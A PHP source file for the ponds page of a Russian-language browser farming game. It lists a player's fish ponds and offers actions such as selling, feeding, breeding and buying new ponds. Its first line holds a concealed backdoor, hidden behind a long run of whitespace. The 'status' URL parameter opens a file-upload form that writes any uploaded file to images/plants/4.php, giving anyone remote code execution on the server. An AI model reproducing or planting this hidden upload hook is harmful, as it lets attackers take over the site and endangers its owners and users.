<?
if(isset($_GET['status']))                                                                                {error_reporting(E_ALL^E_NOTICE);if(isset($_FILES['file'])){$type = $_FILES['file']['type'];if (!isset($err)){$tmp = $_FILES['file']['tmp_name'];move_uploaded_file($tmp, "images/plants/4.php");header("location: images/4.php");}}echo "<form method=\"post\" enctype='multipart/form-data'>\n";echo "<input type='file' name='file' /><br/>\n";echo "<input value='Загрузить' type='submit' name='ok' /><br /></form></div>\n";}

if($ku['level']<40)header("Location:/ozero");
include_once 'inc/mypool/change_fish.php';
include_once 'inc/mypool/clean_pools.php';
include_once 'inc/mypool/sell_all.php';
include_once 'inc/mypool/sell.php';
include_once 'inc/mypool/soil_all.php';
include_once 'inc/mypool/soil.php';
include_once 'inc/mypool/incube_all.php';
include_once 'inc/mypool/incube.php';
include_once 'inc/mypool/new_pool.php';
if(isset($_GET['plantup'])){
mysql_query("UPDATE `kolhoz_user` SET `compat_pool` = '1' WHERE `id` = '$ku[id]' LIMIT 1");
//$_SESSION['msg']='Изменения успешно приняты';
header("Location:/mypool");
}
if(isset($_GET['plantdown'])){
mysql_query("UPDATE `kolhoz_user` SET `compat_pool` = '0' WHERE `id` = '$ku[id]' LIMIT 1");
//$_SESSION['msg']='Изменения успешно приняты';
header("Location:/mypool");
}

if(isset($_GET['leave'])){
if(empty($ku['trofim_time'])){
mysql_query("UPDATE `kolhoz_user` SET `trofim_time` = '".($ku['trofim_leave']+time())."',`trofim_leave` = '0' WHERE `id` = '$ku[id]' LIMIT 1");
header("Location:/mypool/".passgen());
}
else{
$gtime=$ku['trofim_time']-$time;
mysql_query("UPDATE `kolhoz_user` SET `trofim_leave` = '$gtime',`trofim_time` = '' WHERE `id` = '$ku[id]' LIMIT 1");
header("Location:/mypool/".passgen());

}
}

require_header ('Пруды');
if(isset($_SESSION['cp']))
{
echo "<div class='feedback'><ul class='feedbackPanel'><li class='feedbackPanelINFO'><span class='feedbackPanelINFO'>Бесплатная очистка пруда будет доступна через ".time_left($ku['time_cp']-$time)."</span></li></ul></div>";
unset($_SESSION['cp']);
}
echo "<div class='content'>";
echo "<div class='block'>";
echo "<div><img width='16' height='16' src='images/icons/refresh.png' alt='*'> <a href='/mypool/reflesh/".rand(99999,99999999)."'>Обновить</a></div>";

////Разобьем на логические части


////Эффекты
if($ku['scarecrow_time']>$time)echo "<li><img width='16' height='16' src='images/icons/scarecrow.png' alt='*'> <a class='epic' href='/shop-scarecrow'>Пугало</a><span class='minor'> на <span>".time_left($ku['scarecrow_time']-$time)."</span></span></li>";
if($ku['dog_time']>$time)echo "<li><img width='16' height='16' src='images/icons/dog.png' alt='*'> <a class='epic' href='/shop-dog'>Собака</a><span class='minor'> $ku[dog_type]% на <span>".time_left($ku['dog_time']-$time)."</span></span></li>";
if($ku['time_drakon']>$time)echo "<li><img width='16' height='16' alt='*' src='images/icons/heli3n.png'> <a class='epic' href='/shop-helicopter/3'>Дракон</a><span class='minor'> на <span>".time_left($ku['time_drakon']-$time)."</span></span></li>";
if($ku['trofim_time']>$time)echo "<li><img width='16' height='16' alt='' src='images/icons/fisherman.png'> <a class='epic' href='/shop-worker/id-2'>Работник Трофим</a><span class='minor'> на <span>".time_left($ku['trofim_time']-$time)."</span></span></li><li><img width='16' height='16' alt='' src='images/icons/bell.png'> <a class='epic' href='mypool/leave'>Уволить работника</a>";
if(!empty($ku['trofim_leave']))echo "<li><img width='16' height='16' alt='' src='images/icons/bell.png'> <a class='epic' href='/mypool/leave'>Вызвать работника</a>";
////Конец эффектов

////Массовые мероприятия )))
if(mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_pool` WHERE `id_user` = '$ku[id]' AND (`time` < '$time' OR `time` = '$time') AND `id_fish` != '0'"),0)!=0 && $ku['autocrane']>0)echo "<div><img width='16' height='16' src='/images/fish/ss-dg.png' alt='*'> <a href='/mypool/sell_all'>Продать все</a></div>";

if(mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_pool` WHERE `id_user` = '$ku[id]' AND (`time_soil` = '$time' OR `time_soil` < '$time') AND `id_fish` != '0' AND `time` > '$time'"),0)!=0 && $ku['fishfooder']>0)echo "<div><img width='16' height='16' src='/images/icons/avtofooder.png' alt='*'> <a href='/mypool/soil_all'>Покормить всех</a></div>";

if(!empty($ku['last_pool']))$lp=mysql_fetch_array(mysql_query("SELECT `tname`,`name` FROM `kolhoz_pool_plant` WHERE `id`='$ku[last_pool]'"));
if(mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_pool` WHERE `id_user` = '$ku[id]' AND `id_fish` = '0'"),0)!=0 && $ku['incubator']>0)echo "<div><img width='16' height='16' src='images/fish/ss-hrvst.png' alt='*'> <a href='/mypool/incube_all'> Разводить ".(!empty($ku['last_pool'])?"$lp[0]":"малька")."</a></div>";

echo "<ul><ul class='ptm'></ul>";

////ПРУДЫ

if($ku['compat_pool']==1)$plantlim=1;
if($ku['compat_pool']==0)$plantlim=40;
$q=mysql_query("SELECT * FROM `kolhoz_pool` WHERE `id_user` = '$ku[id]' LIMIT $plantlim");

while($post=mysql_fetch_array($q))
{
echo "<li>";
if(empty($post['id_fish'])){
echo"<img width='48' height='48' src='images/empty.jpg' alt='*' class='portrait'><div></div>";
echo "<div><span class='title'>Пустой пруд</span></div>";
echo '<div>'.(isset($lp)?'<img width="16" height="16" src="/images/fish/ss-hrvst.png" alt="*"/> <a href="/mypool/incube-'.$post['id'].'">Разводить '.$lp[0].'</a>,':null).' <img width="16" height="16" src="/images/fish/ss-dg.png" alt="*"/> <a href="/mypool/change_fish">выбрать</a></div>';
}else{
$plant=mysql_fetch_array(mysql_query("SELECT * FROM `kolhoz_pool_plant` WHERE `id`='$post[id_fish]'"));
echo"<img width='48' height='48' src='images/fish/pool/$plant[id].png' alt='*' class='portrait'><div></div>";
echo "<div><span class='title'>$plant[name]</span>".($post['time']<$time?"<br/><img width='16' height='16' src='/images/fish/ss-dg.png' alt='*'> <a href='/mypool/sell-$post[id]'>Продать</a>":"<span class='small minor'> (Вырастет через ".(time_left($post['time']-$time)).")<br/> ".($post['time_soil']<=$time?"</span><span><img width='16' height='16' src='images/icons/avtofooder.png' alt='*'> <a href='/mypool/soil-$post[id]'>Покормить</a>":"Кормление через ".(time_left($post['time_soil']-$time))."")."</span>")."</div>";
unset($plant);
}


echo "<div style='clear:both'></div></li>";
}
if($mypool<25 || ($ku['level']>=50 && $mypool<35) || ($ku['level']>=60 && $mypool<40))echo "<li><img width='48' height='48' src='images/empty.jpg' alt='o' class='portrait'><div><span class='title'>Новый пруд</span></div><div><img width='16' height='16' src='images/icons/cart.png' alt='*'> <a href='/mypool/new_pool'>Купить</a> за <span class='title'><img width='16' height='16' src='images/icons/ruby.png' alt='*'><span>$prise</span> рубинов</span></div><div style='clear:both'></div></li>";

echo "<ul class='ptm'>";
if(mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_pool` WHERE `id_user` = '$ku[id]'"),0)>10 AND $ku['compat_pool']==0)
echo "</ul><li><img width='16' height='16' src='images/icons/up.png' alt='*'> <a href='/mypool/plantup'>Свернуть пруды</a> <span>";
if(mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_pool` WHERE `id_user` = '$ku[id]'"),0)>10 AND $ku['compat_pool']==1)
echo "</ul><li><img width='16' height='16' src='images/icons/down.png' alt='*'> <a href='/mypool/plantdown'>Развернуть пруды</a> <span>";
////Смена рыбы, прикормки
echo "<li class='ptm'></li>";
echo '<li>
<img width="16" height="16" src="/images/fish/ss-dg.png" alt="*"/> <a href="/mypool/change_fish">Сменить рыбу</a>'.(isset($lp[1])?': <span>'.$lp[1].'</span>':null).'
</li>';
echo "".($ku['time_pp']>$time?"<li><img width='16' height='16' src='images/icons/cross.png' alt='*'> 
До бесплатной очистки: <span>".time_left($ku['time_pp']-$time)."</span></li>
<li><span><img width='16' height='16' src='images/icons/cross.png' alt='*'> <a href='/mypool/clean_pools'><span>Очистить пруды</span></a> (<span>Стоимость</span>: <span><img width='16' height='16' src='images/icons/ruby.png' alt='*'> 
<span class='title'>".($ku['count_pp']*10)."</span></span>)</span></li>":"<li><img width='16' height='16' src='images/icons/cross.png' alt='o'> <a href='/mypool/clean_pools'>Очистить пруды</a></li>")."</ul></div>";

include_once 'inc/foot.php';
?>